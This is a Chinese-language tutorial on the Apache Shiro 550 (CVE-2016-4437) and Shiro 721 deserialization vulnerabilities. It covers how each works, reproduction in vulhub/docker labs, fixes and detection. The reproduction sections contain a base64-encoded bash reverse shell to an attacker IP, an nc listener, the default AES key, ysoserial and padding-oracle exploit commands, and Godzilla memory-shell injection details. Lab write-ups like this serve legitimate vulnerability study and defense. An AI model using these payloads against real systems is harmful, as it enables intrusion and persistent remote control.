一、Apache Shiro 漏洞概述
Apache Shiro 是一款流行的 Java 安全框架,提供身份认证、授权、会话管理等功能。但其历史版本中存在两个高危反序列化漏洞 ——Shiro 550(CVE-2016-4437) 和Shiro 721,攻击者可利用漏洞实现远程代码执行,对 Java 应用造成严重威胁。
二、Shiro 550 反序列化漏洞(CVE-2016-4437)
1. 漏洞核心信息
- 影响版本:Apache Shiro < 1.2.4
- 漏洞类型:反序列化远程代码执行
- 触发条件:目标启用 “RememberMe” 功能,且使用默认 AES 加密密钥
2. 漏洞原理:RememberMe 机制的致命缺陷
Shiro 的 “RememberMe” 功能用于实现自动登录,其流程为:
- 用户勾选 “记住我” 登录后,服务端生成包含用户信息的序列化对象,经 AES 加密和 Base64 编码后,存入
rememberMe
Cookie 返回客户端; - 后续请求中,服务端读取
rememberMe
Cookie,按 “Base64 解码→AES 解密→反序列化” 流程还原对象,实现自动登录。
漏洞根源:早期 Shiro 版本硬编码 AES 密钥为固定值
kPH+blxkD2deZikcaaA==
。攻击者可利用该密钥构造恶意序列化对象,加密编码后放入rememberMe
Cookie,服务端反序列化时触发代码执行。3. 漏洞复现步骤
(1)环境搭建
使用 vulhub 靶场快速部署漏洞环境:
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d # 启动后默认端口为8080
(2)漏洞检测
- 访问登录页面(
http://靶机IP:8080
),查看响应 Cookie 中是否包含rememberMe=deleteMe
—— 存在该字段说明启用了 RememberMe 功能,可能存在漏洞; - 使用
ShiroAttack2
工具爆破密钥,确认是否使用默认密钥:java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar # 输入目标URL,若爆破出默认密钥则漏洞存在
(3)远程命令执行(反弹 Shell)
- 构造反弹 Shell 命令并 Base64 编码(避免特殊字符干扰):
# 原始命令(反弹到攻击机192.168.13.128:12345) bash -i >& /dev/tcp/192.168.13.128/12345 0>&1 # Base64编码后(关键步骤,防止命令被截断) bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzLjEyOC8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}
- 利用工具(如 ShiroAttack2)生成含恶意命令的
rememberMe
Cookie,替换到请求中,攻击机通过nc -lvnp 12345
监听,接收反弹的 Shell。
(4)内存马注入(进阶利用)
通过工具注入哥斯拉内存马,持久化控制目标:
- 内存马类型:哥斯拉 [Filter]
- 路径:
/favicondemoico
- 密码:
pass1024
4. 修复措施
- 版本升级:升级至 Shiro 1.2.4 及以上(官方移除硬编码密钥);
- 更换密钥:使用官方 API 生成随机密钥并替换配置:
// 生成新密钥的代码示例 org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
- 禁用功能:在配置文件中关闭 RememberMe(如
rememberMeEnabled=false
)。
三、Shiro 721 反序列化漏洞
1. 漏洞核心信息
- 影响版本:Apache Shiro 1.2.5 ~ 1.4.1
- 漏洞类型:Padding Oracle 攻击导致的反序列化
- 触发条件:获取合法用户的
rememberMe
Cookie(无需知道加密密钥)
2. 漏洞原理:AES-CBC 加密模式的缺陷
Shiro 1.2.5 及以上版本修复了默认密钥问题,但仍存在加密模式缺陷:
- 采用AES-128-CBC模式加密
rememberMe
Cookie,该模式依赖填充机制(Padding); - 服务器对 “填充错误” 和 “解密成功” 的响应存在差异(如响应时间、状态码),攻击者可利用这一差异实施Padding Oracle 攻击。
攻击流程:
- 攻击者获取合法用户的
rememberMe
Cookie; - 通过 Padding Oracle 攻击逐字节推测密文结构,构造含恶意序列化对象的伪造 Cookie;
- 服务端解密伪造 Cookie 时触发反序列化,执行恶意代码(无需知晓加密密钥)。
3. 漏洞复现步骤
(1)环境搭建
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 . && docker run -p 8080:8080 -d shiro-721
(2)生成恶意 Payload
- 使用
ysoserial
生成序列化对象(含执行命令):java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
- 利用攻击脚本通过 Padding Oracle 攻击生成伪造
rememberMe
Cookie:# 脚本地址:https://github.com/inspiringz/Shiro-721/blob/master/exp/shiro_exp.py python2 shiro_exp.py "http://靶机IP:8080/login.jsp" "合法RememberMe Cookie值" poc.ser
(3)触发漏洞
将生成的伪造 Cookie 替换到请求中,删除
JSESSIONID
(避免会话冲突),访问任意路径。若靶机中创建/tmp/success
文件,说明漏洞利用成功。4. 修复措施
- 版本升级:升级至 Shiro 1.4.2 及以上(改用 AES-GCM 加密模式,修复 Padding Oracle 漏洞)。
四、Shiro 550 与 721 漏洞核心对比
对比项 | Shiro 550(CVE-2016-4437) | Shiro 721 |
---|---|---|
影响版本 | < 1.2.4 | 1.2.5 ~ 1.4.1 |
密钥依赖 | 需已知默认硬编码密钥 | 无需密钥,依赖合法 Cookie |
攻击方式 | 直接构造恶意序列化对象加密 | Padding Oracle 攻击推测密文 |
技术核心 | 固定密钥导致反序列化滥用 | AES-CBC 填充缺陷利用 |
修复关键 | 升级版本 + 更换密钥 | 升级至 1.4.2+(改用 AES-GCM) |
五、如何识别 Shiro 反序列化漏洞?
- 检测 RememberMe 特征:访问登录页面,查看响应 Cookie 是否含
rememberMe=deleteMe
—— 存在则启用了 RememberMe 功能,可能存在漏洞; - 密钥爆破:使用 ShiroAttack2 工具扫描,若爆破出默认密钥(如
kPH+blxkD2deZikcaaA==
),可能存在 Shiro 550; - 合法 Cookie 测试:获取合法
rememberMe
Cookie 后,使用 Shiro 721 攻击脚本测试,若能构造恶意 Cookie 触发反序列化,可能存在 Shiro 721; - 版本核查:确认目标 Shiro 版本,<1.2.4 可能存在 550 漏洞,1.2.5~1.4.1 可能存在 721 漏洞。
六、全面防御建议
- 版本管理:统一升级至 Shiro 1.10.0+(修复所有已知反序列化漏洞);
- 密钥安全:
- 禁止使用默认密钥,通过官方 API 生成随机密钥(如
generateNewKey()
); - 密钥存储在安全配置中心(如 Vault),避免硬编码;
- 禁止使用默认密钥,通过官方 API 生成随机密钥(如
- 功能管控:非必要场景禁用 RememberMe 功能,减少攻击面;
- 流量防护:
- 部署 WAF 拦截含序列化特征(如
ac ed 00 05
魔数)的rememberMe
Cookie; - 限制
rememberMe
字段长度(建议≤1024 字节),过滤异常值;
- 部署 WAF 拦截含序列化特征(如
- 监控审计:
- 日志中监控反序列化失败记录(如
InvalidRememberMeTokenException
); - 定期用 OWASP Dependency-Check 扫描依赖,排查旧版本 Shiro。
- 日志中监控反序列化失败记录(如